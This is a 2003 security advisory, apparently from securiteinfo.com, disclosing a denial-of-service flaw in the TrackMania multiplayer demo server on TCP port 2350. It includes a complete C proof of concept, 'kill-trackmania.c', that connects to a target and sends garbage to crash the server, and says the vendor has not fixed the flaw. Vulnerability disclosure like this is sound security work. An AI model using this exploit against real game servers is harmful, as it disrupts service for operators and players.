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TrackMania Demo Denial of Service


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Overview


TrackMania Demo Denial of Service
Discovered on 2003, November, 30th
Vendor: TrackMania Official website

TrackMania is a "Stunt Car Racer" like game. The multiplayer demo of this game is subject to denial of service.

Risk


Exploit easiness
Vulnerability spreading
Impact
Risk

Details


The multiplayer game use TCP port 2350 to communicate. If you send some garbage to this port, it will shutdown the game server.

Exploit


Here is the proof of concept :


/*
* [kill-trackmania.c]
* A remote DoS that affects the Trackmania game server
*
* by Scrap
* webmaster@securiteinfo.com
* http://www.securiteinfo.com
*
* gcc kill-trackmania.c -o kill-trackmania -O2
*
*/

#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
int sock;
struct sockaddr_in sin;
struct hostent *he;
unsigned long start;
char buffer[1024];
unsigned long counter;

printf("\n [kill-trackmania.c] by Scrap / Securiteinfo.com\n");

if (argc<2)

{
printf("Usage: %s target\n\n",argv[0]);
exit(0);
}

if ((he=gethostbyname(argv[1])) == NULL)
{
herror("gethostbyname");
exit(0);
}

start=inet_addr(argv[1]);
counter=ntohl(start);

sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(2350);

if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
{
perror("connect");
exit(0);
}
printf("\n\t Sending Bomb... \n");
send(sock, "Bomb from Securiteinfo.com\n\n",17,0);
close(sock);

printf("\t Bomb sent...\n");

}

Download kill-trackmania.c.

Solution


The vendor has been informed and has not solved the problem.

Discovered by


Arnaud Jacques aka scrap
webmaster@securiteinfo.com
http://www.securiteinfo.com

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